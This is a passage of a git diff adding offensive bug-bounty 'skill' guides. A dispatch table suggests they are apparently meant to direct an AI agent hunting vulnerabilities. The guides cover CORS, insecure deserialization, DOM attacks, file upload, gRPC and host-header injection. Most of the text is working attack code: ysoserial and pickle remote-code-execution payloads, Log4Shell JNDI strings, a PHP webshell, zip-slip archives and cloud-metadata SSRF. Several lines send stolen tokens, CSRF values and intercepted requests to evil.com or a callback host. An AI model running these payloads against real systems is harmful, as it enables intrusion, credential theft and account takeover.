"access-control"++# Vulnerable response:+# Access-Control-Allow-Origin: https://evil.com ← reflects back+# Access-Control-Allow-Credentials: true ← credentials allowed++# Test null origin+curl -s -I https://$TARGET/api/me \+ -H "Origin: null" \+ -H "Cookie: $SESSION_COOKIE" | grep -i "access-control"+```++### Phase 3 — Test Subdomain Regex Bypass+```bash+# If *.target.com is trusted, try bypasses+for ORIGIN in \+ "https://evil.target.com" \+ "https://target.com.evil.com" \+ "https://nottarget.com" \+ "https://EVIL.target.com" \+ "https://evil%60target.com" \+ "http://target.com"; do+ RESULT=$(curl -s -I https://$TARGET/api/me \+ -H "Origin: $ORIGIN" \+ -H "Cookie: $SESSION_COOKIE" | grep -i "access-control-allow-origin")+ echo "$ORIGIN → $RESULT"+done+```++### Phase 4 — PoC HTML+```html+<!-- Host on evil.com, open in browser while logged into target -->+<html><body>+<div id="out"></div>+<script>+fetch("https://TARGET/api/me", {credentials: "include"})+ .then(r => r.json())+ .then(d => {+ document.getElementById("out").innerText = JSON.stringify(d);+ // Exfil: fetch("https://evil.com/log?d=" + encodeURIComponent(JSON.stringify(d)));+ });+</script>+</body></html>+```++### Phase 5 — postMessage Check+```bash+# Grep JS files for postMessage handlers without origin check+grep -r "addEventListener.*message" recon/$TARGET/ --include="*.js" | \+ grep -v "event.origin"+# Look for handlers that process data without origin validation+```++---++## Automation+```bash+# corsy+pip3 install corsy+corsy -u https://$TARGET -t 10 --headers "Cookie: $SESSION_COOKIE"++# nuclei CORS templates+nuclei -u https://$TARGET -t cors/++# Manual bulk scan+while read url; do+ result=$(curl -sI "$url" -H "Origin: https://evil.com" \+ | grep -i "access-control-allow-origin")+ [ -n "$result" ] && echo "$url: $result"+done < recon/$TARGET/api-endpoints.txt+```++---++## Chain Table++| CORS finding | Chain to | Impact |+|-------------|----------|--------|+| Reflects any origin + credentials | Read /api/me, /api/tokens | PII theft, token exfil |+| Trusted subdomain with XSS | XSS → CORS read authed endpoints | Critical combined impact |+| Subdomain takeover available | Register subdomain → use as trusted origin | Full credentialed read |+| postMessage no origin check | Inject malicious iframe | Arbitrary message injection |++---++## Validation++✅ Confirmed: `Access-Control-Allow-Origin` echoes attacker origin AND `Access-Control-Allow-Credentials: true`+✅ PoC: JavaScript on attacker domain reads authenticated API response with victim's data++**Severity:**+- Reflects any origin + credentials + sensitive data: High+- Reflects any origin, no credentials: Low+- Null origin + sensitive endpoint: Medium+- Subdomain takeover chain: High/Criticaldiff --git a/skills/hunt-deserialization/SKILL.md b/skills/hunt-deserialization/SKILL.mdnew file mode 100644index 0000000..270d08b--- /dev/null+++ b/skills/hunt-deserialization/SKILL.md@@ -0,0 +1,167 @@+---+name: hunt-deserialization+description: Hunt Insecure Deserialization — Java gadget chains (ysoserial), PHP object injection (phpggc), Python pickle RCE, .NET BinaryFormatter, Ruby Marshal.load, JNDI/Log4Shell. RCE via deserialization is almost always Critical. Use when target runs Java, PHP serialization, Python pickle, .NET, or Ruby on Rails.+sources: hackerone_public+report_count: 22+---++# HUNT-DESERIALIZATION — Insecure Deserialization++## Crown Jewel Targets++Deserialization bugs are almost always Critical — they lead directly to RCE without prerequisite conditions.++**Highest-value chains:**+- **Java ysoserial gadget chains** — CommonsCollections, Spring, JNDI, Groovy gadgets → full OS command execution+- **PHP Object Injection** — `__wakeup` / `__destruct` magic methods → file write / RCE+- **Python pickle** — `pickle.loads(attacker_data)` → `__reduce__` → `os.system('id')`+- **.NET BinaryFormatter** — TypeConfuseDelegate gadget chain → RCE+- **Ruby Marshal.load** — Gem::Requirement, Gem::Installer gadgets → RCE+- **JNDI injection** — Log4Shell pattern: `${jndi:ldap://attacker/a}` → class load → RCE++---++## Attack Surface Signals++### Detection Patterns+```bash+# Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)+echo "rO0ABXQ=" | base64 -d | xxd | head -1 # shows: ac ed 00 05++# PHP serialization: O:8:"stdClass":0:{}+# Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02++# Apache Shiro: rememberMe cookie present+curl -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"++# Log4j: test user-controlled fields for JNDI interpolation+curl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/+```++### Header / Cookie Signals+```+Content-Type: application/x-java-serialized-object+Cookie containing rO0= prefix (Java base64 serialized)+Cookie: rememberMe= (Apache Shiro)+Cookie: _VIEWSTATE (ASP.NET ViewState without encryption)+Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/+```++---++## Step-by-Step Hunting Methodology++### Phase 1 — Java Deserialization (ysoserial)+```bash+# Install ysoserial+wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar++# Generate OOB detection payload+java -jar ysoserial-all.jar CommonsCollections6 \+ 'curl http://COLLAB_HOST/ysoserial' | base64 -w0++# Send as body or cookie+java -jar ysoserial-all.jar CommonsCollections6 'id > /tmp/pwned' | base64 | \+ curl -s https://$TARGET/wls-wsat/CoordinatorPortType \+ -H "Content-Type: application/x-java-serialized-object" \+ --data-binary @-++# Apache Shiro exploit (default AES key)+python3 shiro_exploit.py -u https://$TARGET/ -c "id"+```++### Phase 2 — PHP Object Injection+```bash+# Find unserialize() calls in source+grep -r "unserialize(" --include="*.php" .++# Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";}+# Send in cookie, POST param, or hidden form field+# If error changes → deserialization confirmed++# Craft gadget chain using phpggc+git clone https://github.com/ambionics/phpggc+php phpggc -l # list chains+php phpggc Laravel/RCE5 system id | base64+```++### Phase 3 — Python Pickle+```bash+# Generate OOB payload+python3 -c "+import pickle, os, base64+class Exploit(object):+ def __reduce__(self):+ return (os.system, ('curl http://COLLAB_HOST/pickle-rce',))+print(base64.b64encode(pickle.dumps(Exploit())).decode())+"++# Send as cookie or POST body+curl -s https://$TARGET/api/load-model \+ -H "Content-Type: application/octet-stream" \+ --data-binary @payload.pkl+```++### Phase 4 — .NET ViewState+```bash+# Check if ViewState is unsigned (MAC disabled)+# Look for __VIEWSTATE in HTML source without __VIEWSTATEMAC++# YSoSerial.Net+dotnet YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate \+ -c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64+```++### Phase 5 — Log4Shell / JNDI+```bash+# Test all user-controlled inputs+COLLAB="COLLAB_HOST"+for HEADER in "User-Agent" "X-Forwarded-For" "Referer" "X-Api-Version" "Accept-Language"; do+ curl -s https://$TARGET/ -H "$HEADER: \${jndi:dns://$COLLAB/$HEADER}" &+done++# Test POST body fields+curl -s -X POST https://$TARGET/api/login \+ -H "Content-Type: application/json" \+ -d "{\"username\": \"\${jndi:ldap://$COLLAB/a}\"}"+```++### Phase 6 — Ruby Marshal+```bash+# Look for Marshal.load in source+grep -r "Marshal.load\|Marshal.restore" --include="*.rb" .++# Gem::Requirement gadget chain via marshalable objects+# Use ruby-advisory-db gadgets+```++---++## Chain Table++| Deserialization signal | Chain to | Impact |+|-----------------------|----------|--------|+| Any deser RCE | /etc/passwd + id output | Prove arbitrary command execution |+| RCE as low-privilege user | Find SUID binaries / sudo rules | Privilege escalation → root |+| Blind RCE (OOB callback) | DNS callback → confirm exec | Sufficient for Critical PoC |+| Log4Shell | LDAP → JNDI → class load | Full RCE on JVM process |++---++## Automation+```bash+# OOB listener+interactsh-client -v -n 5++# JNDI exploit kit+git clone https://github.com/pimps/JNDI-Exploit-Kit+```++---++## Validation++✅ DNS/HTTP callback from COLLAB host: blind deserialization confirmed+✅ Command output in response: full RCE confirmed++**Severity:** Almost always **Critical** — RCE with server process privileges.diff --git a/skills/hunt-dispatch/SKILL.md b/skills/hunt-dispatch/SKILL.mdindex 8028374..0ba050c 100644--- a/skills/hunt-dispatch/SKILL.md+++ b/skills/hunt-dispatch/SKILL.md@@ -34,6 +34,26 @@ vsphere | vcenter | :9443 → vmware-vcenter-attackamazonaws | azure | googleapis | gcp → cloud-iam-deepgithub.com/<org>/ → supply-chain-attack-recon.apk | play.google.com → apk-redteam-pipeline+MongoDB | mongoose | CouchDB | Redis → hunt-nosqli+?page= | ?file= | ?path= | php wrapper → hunt-lfi+rO0A | VIEWSTATE | rememberMe cookie → hunt-deserialization+Access-Control-Allow-Origin header → hunt-cors+/forgot-password | /reset | X-Forwarded → hunt-host-header+?redirect= | ?next= | ?return= | ?url= → hunt-open-redirect+OTP | /verify | /2fa | no-rate-limit → hunt-brute-force+Set-Cookie session | PHPSESSID → hunt-session+Active Directory | LDAP | OpenLDAP | ADFS → hunt-ldap+__NEXT_DATA__ | /_next/ | buildId → hunt-nextjs+X-Powered-By: Express | Node.js | .js stack → hunt-nodejs+postMessage | dangerouslySetInnerHTML → hunt-dom+WebSocket | ws:// | socket.io → hunt-websocket+gRPC | :50051 | application/grpc → hunt-grpc+laravel_session | Ignition | Telescope → hunt-laravel+X-Application-Context | Whitelabel | /actuator → hunt-springboot+:6443 | :10250 | :2379 | kubectl → hunt-k8s+.github/workflows | Jenkins | GitLab CI → hunt-cicd+.js.map | swagger.json | /.env → hunt-source-leak+HSTS missing | SPF | DMARC | AXFR → hunt-tls-network```multiple matches → load all matching platform skills.@@ -103,6 +123,13 @@ hunt-ato hunt-file-upload hunt-business-logic hunt-race-conditihunt-llm-ai hunt-api-misconfig hunt-ssti hunt-cache-poisonhunt-http-smuggling hunt-subdomain hunt-cloud-misconfig hunt-mischunt-aspnet hunt-sharepoint hunt-ntlm-info+hunt-lfi hunt-nosqli hunt-deserialization+hunt-cors hunt-host-header hunt-open-redirect+hunt-brute-force hunt-session hunt-ldap+hunt-nextjs hunt-nodejs hunt-dom+hunt-websocket hunt-grpc hunt-laravel+hunt-springboot hunt-k8s hunt-cicd+hunt-source-leak hunt-tls-network```report format: `report-writing` (`bugcrowd-reporting` if the target is on bugcrowd).diff --git a/skills/hunt-dom/SKILL.md b/skills/hunt-dom/SKILL.mdnew file mode 100644index 0000000..6f7969a--- /dev/null+++ b/skills/hunt-dom/SKILL.md@@ -0,0 +1,250 @@+---+name: hunt-dom+description: Hunt client-side DOM vulnerabilities — DOM Clobbering (overwrite JS globals via HTML injection), PostMessage hijacking (missing origin check), Service Worker abuse (intercept requests), CSS Injection/Exfiltration (attribute selectors → token char-by-char), Client-side template injection, dangerouslySetInnerHTML. Use when hunting DOM-XSS, client-side auth bypass, or token exfiltration without server-side interaction.+sources: hackerone_public, portswigger_research+report_count: 17+---++# HUNT-DOM — DOM Clobbering / PostMessage / Service Worker / CSS Exfil++## Crown Jewel Targets++DOM-based attacks bypass WAFs entirely — no server-side processing. PostMessage missing origin check = session token theft without XSS filters.++**Highest-value chains:**+- **DOM Clobbering → XSS bypass** — HTML injection (not JS injection) overwrites `window.config` or `document.getElementById` → app executes attacker-controlled value as code+- **PostMessage no origin check → session theft** — `window.addEventListener('message')` without `event.origin` check → inject message from attacker iframe → steal token+- **Service Worker abuse** — register malicious SW on target domain via stored XSS → intercept all future requests → persistent credential theft+- **CSS Exfil** — CSS `input[value^="a"]` selectors → leak CSRF token, session ID, or secret char-by-char with no JS required++---++## Phase 1 — DOM Clobbering++```bash+# Signals: app uses document.getElementById() or window.VARNAME for config+# HTML injection points: user bio, comments, name fields (no script tag needed)++# Test: does the app use element IDs as variables?+# Inject: <a id="config"> or <img name="token">+# If window.config or document.token is overwritten → clobbering possible++# Payload to overwrite window.config.url+# <a id="config" href="https://evil.com">++# Payload to clobber document.baseURI (affects relative URL resolution)+# <base href="https://evil.com/">++# Payload to clobble window.x.y (nested)+# <form id="x"><input id="y" name="z" value="clobbered"></form>++# Detection script (run in browser console on target)+```++```javascript+// Paste in browser console to detect clobberable globals+const dangerous = ['config','settings','options','appConfig','init','data','user',+ 'token','csrf','nonce','baseUrl','apiUrl','debug'];+dangerous.forEach(k => {+ if (window[k] !== undefined) {+ console.log('[CLOBBER CANDIDATE]', k, '=', window[k]);+ }+});+```++```bash+# Check source for getElementById used as code+curl -s https://$TARGET/ | grep -E "document\.getElementById\(['\"][^'\"]+['\"][^)]*\)\.href|\.src|\.textContent|eval\(.*getElementById"+curl -s https://$TARGET/ | grep -E "window\.[a-zA-Z]+\.(url|src|href|token|key)"+```++---++## Phase 2 — PostMessage Hijacking++```bash+# Find postMessage handlers in JS files+grep -r "addEventListener.*message\|postMessage" recon/$TARGET/ --include="*.js" 2>/dev/null | \+ grep -v "event\.origin\|e\.origin\|msg\.origin\|source\.origin"++# Also check inline scripts+curl -s https://$TARGET/ | grep -A5 "addEventListener.*message"+```++```javascript+// Browser console PoC — test if target page accepts messages from any origin+// Open target in one tab, run this in devtools of that tab+window.postMessage({type: 'auth', token: 'ATTACKER_TOKEN', action: 'login'}, '*');+window.postMessage({cmd: 'navigate', url: 'https://evil.com'}, '*');++// Listener test — does page send tokens to parent via postMessage?+// Open target in iframe on attacker.com:+window.addEventListener('message', e => {+ console.log('[MSG FROM TARGET]', e.origin, JSON.stringify(e.data));+ // if token/session visible here → PostMessage leak+});+```++```bash+# PoC HTML — host on attacker.com to capture messages from target iframe+cat > /tmp/postmessage-poc.html << 'EOF'+<html><body>+<iframe id="f" src="https://TARGET/page-with-postmessage" style="display:none"></iframe>+<pre id="out"></pre>+<script>+window.addEventListener('message', function(e) {+ document.getElementById('out').textContent +=+ 'origin: ' + e.origin + '\ndata: ' + JSON.stringify(e.data) + '\n---\n';+});+</script>+</body></html>+EOF+```++---++## Phase 3 — Service Worker Abuse++```bash+# Check if target registers a Service Worker+curl -s https://$TARGET/ | grep -i "serviceWorker\|navigator\.serviceWorker"+curl -s https://$TARGET/sw.js 2>/dev/null | head -20+curl -s https://$TARGET/service-worker.js 2>/dev/null | head -20++# Service Worker scope — what paths does it control?+curl -s https://$TARGET/sw.js | grep -i "scope\|fetch\|cache\|intercept"++# If Stored XSS exists, register malicious SW to intercept future requests:+```++```javascript+// Stored XSS payload to register attacker's service worker+navigator.serviceWorker.register('https://evil.com/malicious-sw.js', {scope: '/'})+ .then(r => console.log('SW registered', r));++// malicious-sw.js (hosted on evil.com — same origin requirement means+// this only works if target allows cross-origin SW via headers or+// the XSS is within the same origin)+self.addEventListener('fetch', e => {+ e.respondWith(+ fetch(e.request).then(resp => {+ // Clone and exfil request headers (including credentials)+ fetch('https://evil.com/sw-intercept?' + e.request.url.replace(/\//g,'_'));+ return resp;+ })+ );+});+```++---++## Phase 4 — CSS Injection / Exfiltration++```bash+# CSS injection allows token exfil without JS — bypasses strict CSP+# Prerequisite: user-controlled CSS value (style attribute, custom CSS field)++# Target: CSRF token in hidden input, API key in meta tag, nonce attribute++# Step 1: Confirm CSS injection+# Inject: color: red; — does the page element turn red?++# Step 2: Exfil CSRF token char by char+# For each char position, one selector sends HTTP request to attacker if it matches+```++```css+/* Host on attacker.com — inject as stylesheet or style attribute */+/* Leaks CSRF token starting with 'a' in first position */+input[name="csrf"][value^="a"] { background: url(https://evil.com/css?c=a); }+input[name="csrf"][value^="b"] { background: url(https://evil.com/css?c=b); }+/* ... repeat for all chars ... */++/* Meta tag exfil */+meta[name="csrf-token"][content^="a"] { background: url(https://evil.com/css?c=a_meta); }+```++```python+# Generate full CSS exfil payload+import string+chars = string.ascii_lowercase + string.digits + string.ascii_uppercase + '-_'+target_attr = 'name="csrf"'+attacker = 'https://evil.com/css'+pos = 0 # character position to leak++payload = ""+for c in chars:+ payload += f'input[{target_attr}][value^="{c}"] {{ background: url({attacker}?p={pos}&c={c}); }}\n'+print(payload)+```++---++## Phase 5 — dangerouslySetInnerHTML Detection++```bash+# Find React apps using dangerouslySetInnerHTML with user content+grep -r "dangerouslySetInnerHTML" recon/$TARGET/ --include="*.js" 2>/dev/null++# In minified bundles+curl -s "https://$TARGET/_next/static/chunks/pages/index.js" | \+ grep -oP 'dangerouslySetInnerHTML.{0,100}'++# Check if user-controlled data flows into it+# Look for: dangerouslySetInnerHTML={{__html: userData}} or similar patterns+```++---++## Phase 6 — Client-Side Template Injection++```bash+# Angular: {{ constructor.constructor('alert(1)')() }}+# Vue 2: {{ $root.constructor.prototype.constructor('alert(1)')() }}+# Mustache/Handlebars: {{ constructor.constructor('alert(1)')() }}++# Grep for template libraries+grep -r "angular\|vue\|handlebars\|mustache\|nunjucks" recon/$TARGET/ --include="*.js" 2>/dev/null | head -5++# Test Angular template injection+curl -s "https://$TARGET/search?q={{7*7}}" | grep "49"+curl -s "https://$TARGET/search?q={{constructor.constructor('alert(1)')()" | grep -i "angular\|error"+```++---++## Chain Table++| DOM finding | Chain to | Impact |+|-------------|----------|--------|+| DOM Clobbering | Window global overwrite → JS logic manipulation | Auth bypass / XSS |+| PostMessage no origin check | Inject auth action from iframe | Session takeover |+| CSS exfil | Leak CSRF token → use for CSRF attack | CSRF exploit chain |+| Service Worker abuse | Intercept all future requests + credentials | Persistent ATO |+| dangerouslySetInnerHTML | Stored XSS via React | XSS → ATO chain |++---++## Tools++```bash+# DOM Invader (Burp Suite) — automated DOM sink detection+# postMessage-tracker (Chrome Extension)+# CSS exfil toolkit: https://github.com/d0nut/mxss/css-exfil+# pp-finder: https://github.com/nicowillis/pp-finder (prototype pollution grep)+```++---++## Validation++✅ DOM Clobbering: HTML injection overwrites app variable, changes behavior+✅ PostMessage: `event.data` contains session token or sensitive data from target+✅ CSS exfil: HTTP request received for each correct token character+✅ SW abuse: service worker registered, fetch events intercepted++**Severity:**+- PostMessage session theft: High/Critical+- DOM Clobbering → XSS: High+- CSS exfil of CSRF token → CSRF: Medium+- Service Worker → persistent credential theft: Criticaldiff --git a/skills/hunt-file-upload/SKILL.md b/skills/hunt-file-upload/SKILL.mdindex 1d4c444..4eacf83 100644--- a/skills/hunt-file-upload/SKILL.md+++ b/skills/hunt-file-upload/SKILL.md@@ -46,6 +46,106 @@ filename=shell.phtml, shell.pHp, shell.php5 → extension variants---+## ImageMagick / FFmpeg Exploitation++### ImageMagick SSRF / File Read (ImageTragick family + modern variants)+```bash+# Upload this as a .mvg or rename to .jpg/.png (magic bytes bypass)+# MVG SSRF payload — fetches internal URL during processing+cat > /tmp/ssrf.mvg << 'EOF'+push graphic-context+viewbox 0 0 640 480+fill 'url(http://169.254.169.254/latest/meta-data/iam/security-credentials/)'+pop graphic-context+EOF++# SVG SSRF (ImageMagick processes SVG remotely)+cat > /tmp/ssrf.svg << 'EOF'+<?xml version="1.0"?>+<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">+ <image xlink:href="http://COLLAB_HOST/imagemagick-ssrf" width="200" height="200"/>+</svg>+EOF++# WebP/AVIF processing bugs (modern surface — CVE-2023-4863)+# Upload a crafted WebP file targeting libwebp heap overflow+# Use: https://github.com/mistymntncop/CVE-2023-4863 PoC+```++### FFmpeg SSRF via HLS Playlist+```bash+# FFmpeg processes m3u8 playlists and fetches referenced segments+cat > /tmp/ssrf.m3u8 << 'EOF'+#EXTM3U+#EXT-X-MEDIA-SEQUENCE:0+#EXTINF:10.0,+http://169.254.169.254/latest/meta-data/iam/security-credentials/+#EXT-X-ENDLIST+EOF++# Also works with concat demuxer+cat > /tmp/concat.txt << 'EOF'+ffconcat version 1.0+file 'http://COLLAB_HOST/ffmpeg-ssrf'+EOF++# Test: upload .m3u8 or video file to any video processing endpoint+```++---++## Headless Chrome / PDF Generator SSRF++### HTML → PDF Converter Attacks+```bash+# Target: invoice generators, report exporters, screenshot services+# Inject HTML that causes headless Chrome to fetch internal resources++# SSRF via CSS import+PAYLOAD='<html><head><style>@import url("http://169.254.169.254/latest/meta-data/");</style></head><body>test</body></html>'++# SSRF via HTML iframe+PAYLOAD='<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="1000" height="1000"></iframe></body></html>'++# Local file read+PAYLOAD='<html><body><iframe src="file:///etc/passwd" width="1000" height="1000"></iframe></body></html>'++# JavaScript execution (if sandbox not enforced)+PAYLOAD='<html><body><script>+fetch("http://COLLAB_HOST/chrome-rce?d=" + encodeURIComponent(document.documentElement.innerHTML));+</script></body></html>'++# Test: submit HTML to any /generate-pdf, /export, /screenshot, /report endpoint+curl -s -X POST "https://$TARGET/api/generate-pdf" \+ -H "Content-Type: application/json" \+ -d "{\"html\": \"$PAYLOAD\"}"+```++---++## Archive Extraction Attacks (Zip Slip / Symlink)++```bash+# Zip Slip — path traversal via archive filenames+pip3 install evilarc+python3 evilarc.py shell.php -o unix -p "../../../var/www/html/" -d 5 -f /tmp/zipslip.zip++# Symlink attack — archive contains symlink to sensitive file+mkdir -p /tmp/sym_attack+ln -s /etc/passwd /tmp/sym_attack/innocent.txt+zip -ry /tmp/symlink.zip /tmp/sym_attack/++# TAR symlink attack+tar --create --file=/tmp/symlink.tar --dereference /tmp/sym_attack/++# Test: upload to any /import, /extract, /unzip endpoint+curl -s -X POST "https://$TARGET/api/import" \+ -F "file=@/tmp/zipslip.zip"+```++---+## Related Skills & Chains- **`hunt-rce`** — File upload is the most common path to RCE on classic PHP/JSP/ASPX stacks once you find a directly-served upload directory or a deserializer-fed processor. Chain primitive: polyglot `GIF89a;<?php system($_GET['c']);?>` bypasses magic-byte check + `.phtml` extension bypasses allowlist → `GET /uploads/shell.phtml?c=id` → RCE; or PHP `phar://` upload to a sink calling `file_exists()` on the attacker-controlled path → PHP object deserialization → RCE.diff --git a/skills/hunt-grpc/SKILL.md b/skills/hunt-grpc/SKILL.mdnew file mode 100644index 0000000..1a7c87a--- /dev/null+++ b/skills/hunt-grpc/SKILL.md@@ -0,0 +1,213 @@+---+name: hunt-grpc+description: Hunt gRPC vulnerabilities — server reflection enabled (enumerate all services/methods), missing authentication on internal endpoints, plaintext gRPC over HTTP/2, internal endpoint disclosure, proto file leakage, gRPC-Web proxy injection, HTTP/2 rapid reset DoS. Use when target exposes port 443/50051 with gRPC, or when microservice architecture is detected.+sources: hackerone_public, grpc_security_research+report_count: 6+---++# HUNT-GRPC — gRPC Security++## Crown Jewel Targets++gRPC reflection enabled = full service catalog enumeration without source code.++**Highest-value findings:**+- **Reflection enabled in production** — `grpc.reflection.v1alpha.ServerReflection` service lists all methods, messages, and internal services+- **Missing auth on internal service** — gRPC service designed for internal microservice communication exposed externally without mTLS or auth metadata+- **Internal endpoint disclosure** — reflection reveals method names that expose business logic or internal data models+- **Plaintext gRPC** — gRPC over unencrypted HTTP/2 on non-standard port → credential interception+- **HTTP/2 Rapid Reset DoS (CVE-2023-44487)** — send RST_STREAM frames rapidly → server resource exhaustion++---++## Phase 1 — Fingerprint & Port Discovery++```bash+# Common gRPC ports+nmap -sV -p 50051,50052,443,9090,8080,8443 $TARGET 2>/dev/null | grep "open"++# Check HTTP/2 support (gRPC requires HTTP/2)+curl -sI --http2 https://$TARGET/ | grep -i "content-type.*grpc\|grpc-status\|h2"++# gRPC-Web proxy detection (usually on 443 via Envoy/grpc-gateway)+curl -sI "https://$TARGET/grpc.reflection.v1alpha.ServerReflection/ServerReflectionInfo" | head -5++# Check for grpc-web content-type+curl -s "https://$TARGET/" -H "Content-Type: application/grpc-web+proto" | xxd | head+```++---++## Phase 2 — Service Enumeration via Reflection++```bash+# Install grpcurl+brew install grpcurl++# List all available services (reflection must be enabled)+grpcurl -plaintext $TARGET:50051 list+grpcurl -insecure $TARGET:443 list++# If reflection enabled, output looks like:+# grpc.reflection.v1alpha.ServerReflection+# user.UserService+# admin.AdminService+# payment.PaymentService++# List methods of a specific service+grpcurl -plaintext $TARGET:50051 list user.UserService+grpcurl -insecure $TARGET:443 list admin.AdminService++# Describe a method (shows request/response proto schema)+grpcurl -plaintext $TARGET:50051 describe user.UserService.GetUser+grpcurl -insecure $TARGET:443 describe admin.AdminService.DeleteUser+```++---++## Phase 3 — Call Methods Without Authentication++```bash+# Call gRPC methods without any auth metadata+grpcurl -plaintext $TARGET:50051 user.UserService/GetUser \+ -d '{"user_id": 1}'++grpcurl -plaintext $TARGET:50051 admin.AdminService/ListUsers \+ -d '{}'++# Try with different user IDs (IDOR)+for ID in 1 2 3 100 1000; do+ grpcurl -plaintext $TARGET:50051 user.UserService/GetUser \+ -d "{\"user_id\": $ID}" 2>/dev/null | head -3+done++# Enumerate admin methods+grpcurl -plaintext $TARGET:50051 describe . 2>/dev/null | grep -i "admin\|internal\|debug\|secret"+```++---++## Phase 4 — Authentication Bypass++```bash+# gRPC uses metadata headers for auth — test with no metadata+grpcurl -plaintext $TARGET:50051 admin.AdminService/GetConfig \+ -d '{}'+# If returns data without error → no auth++# Test with fake/empty JWT+grpcurl -plaintext $TARGET:50051 admin.AdminService/GetConfig \+ -H "authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJyb2xlIjoiYWRtaW4ifQ." \+ -d '{}'++# Test with internal IP header+grpcurl -plaintext $TARGET:50051 internal.InternalService/GetSecrets \+ -H "x-forwarded-for: 10.0.0.1" \+ -d '{}'+```++---++## Phase 5 — Proto File / Schema Discovery++```bash+# Check for exposed proto files+curl -s "https://$TARGET/proto/"+curl -s "https://$TARGET/api/proto/"+for proto in "user.proto" "service.proto" "api.proto" "internal.proto" "admin.proto"; do+ STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET/$proto")+ [ "$STATUS" != "404" ] && echo "Found: $TARGET/$proto ($STATUS)"+done++# Check GitHub repos for proto files+gh search code --owner TARGET_ORG "syntax = proto3" --limit 10 2>/dev/null++# Proto descriptors via reflection+grpcurl -plaintext $TARGET:50051 describe user.GetUserRequest 2>/dev/null+```++---++## Phase 6 — gRPC-Web Proxy Attacks++```bash+# gRPC-Web typically runs behind Envoy proxy on port 443+# Test injection via HTTP/1.1 content-type confusion++# gRPC-Web request format+curl -s "https://$TARGET/user.UserService/GetUser" \+ -H "Content-Type: application/grpc-web+proto" \+ -H "X-Grpc-Web: 1" \+ --data-binary $'\x00\x00\x00\x00\x04\x08\x01'++# gRPC-Web JSON (if server supports grpc-web+json)+curl -s "https://$TARGET/user.UserService/GetUser" \+ -H "Content-Type: application/grpc-web+json" \+ -H "X-Grpc-Web: 1" \+ -d '{"user_id": 1}'+```++---++## Phase 7 — HTTP/2 Rapid Reset DoS (CVE-2023-44487)++```bash+# For PoC only — confirm vulnerability WITHOUT full DoS+# Send a small burst of HEADERS+RST_STREAM frames+# Use h2load (part of nghttp2)+brew install nghttp2++# Lightweight test (5 rapid resets — not a real attack, just detection)+h2load -n 10 -c 5 -m 10 \+ --header="content-type: application/grpc" \+ https://$TARGET/++# Check server response time degradation+# If significant slowdown → vulnerable+# Report without exploiting further+```++---++## Tools++```bash+# grpcurl — gRPC CLI client (primary tool)+brew install grpcurl++# ghz — gRPC benchmarking (for DoS PoC — use minimally)+go install github.com/bojand/ghz/cmd/ghz@latest++# grpcui — web UI for gRPC exploration+go install github.com/fullstorydev/grpcui/cmd/grpcui@latest+grpcui -plaintext $TARGET:50051++# bloomrpc — GUI gRPC client (archived but functional)+# Postman — supports gRPC with reflection+```++---++## Chain Table++| gRPC finding | Chain to | Impact |+|-------------|----------|--------|+| Reflection enabled | Enumerate all internal service methods | Full API catalog disclosure |+| Admin service no auth | Call privileged methods | Data manipulation / system access |+| IDOR via user_id | Enumerate all users' data | Mass PII exfil |+| Internal service exposed | Access microservice data directly | Tenant isolation bypass |+| Proto files disclosed | Understand internal data models | Intelligence for further attacks |++---++## Validation++✅ Reflection: `grpcurl list` returns service catalog without auth+✅ No auth: method returns data without authentication metadata+✅ IDOR: different user_id values return different users' data++**Severity:**+- Admin method no auth: Critical+- Reflection in production: Medium (info disclosure + enabler for further attacks)+- IDOR via gRPC: High+- Internal service exposed: Highdiff --git a/skills/hunt-host-header/SKILL.md b/skills/hunt-host-header/SKILL.mdnew file mode 100644index 0000000..6a88287--- /dev/null+++ b/skills/hunt-host-header/SKILL.md@@ -0,0 +1,151 @@+---+name: hunt-host-header+description: Hunt Host Header Injection — password reset poisoning → ATO, cache poisoning via unkeyed host, X-Forwarded-Host injection, SSRF via Host header, routing-based SSRF, OAuth redirect_uri poisoning. High to Critical when it leads to ATO or mass cache poisoning.+sources: hackerone_public+report_count: 16+---++# HUNT-HOST-HEADER — Host Header Injection++## Crown Jewel Targets++Host header injection that reaches password reset links = Critical (ATO for any user).++**Highest-value chains:**+- **Password reset poisoning → ATO** — server uses Host header to construct reset link, attacker sets Host: evil.com → victim's reset link points to attacker → token captured → full ATO+- **Cache poisoning via unkeyed Host** — CDN caches response with poisoned X-Forwarded-Host → mass XSS/redirect served to all users+- **Routing-based SSRF** — `Host: 169.254.169.254` in internal forward proxy → cloud metadata access+- **OAuth redirect_uri poisoning** — Host injection changes OAuth callback domain++---++## Attack Surface Signals++```+Any password reset / forgot-password endpoint+Any app behind CDN/reverse proxy (Cloudflare, Varnish, Nginx, HAProxy)+OAuth authorization endpoints+Absolute URLs constructed from request host+Email-sending endpoints+```++---++## Step-by-Step Hunting Methodology++### Phase 1 — Password Reset Poisoning+```bash+# Test Host header directly+curl -s -X POST https://$TARGET/forgot-password \+ -H "Host: evil.com" \+ -H "Content-Type: application/json" \+ -d '{"email": "[email protected]"}'++# X-Forwarded-Host (behind reverse proxy)+curl -s -X POST https://$TARGET/forgot-password \+ -H "Host: $TARGET" \+ -H "X-Forwarded-Host: evil.com" \+ -d "[email protected]"++# X-Host header+curl -s -X POST https://$TARGET/forgot-password \+ -H "Host: $TARGET" \+ -H "X-Host: evil.com" \+ -d "[email protected]"++# Port confusion+curl -s -X POST https://$TARGET/forgot-password \+ -H "Host: $TARGET:@evil.com" \+ -d "[email protected]"++# Check if reset email contains evil.com in reset link+# Use your own test account — never use another user's email+```++### Phase 2 — Cache Poisoning via Host Header+```bash+# Test if X-Forwarded-Host is reflected in response+curl -s https://$TARGET/ \+ -H "Host: 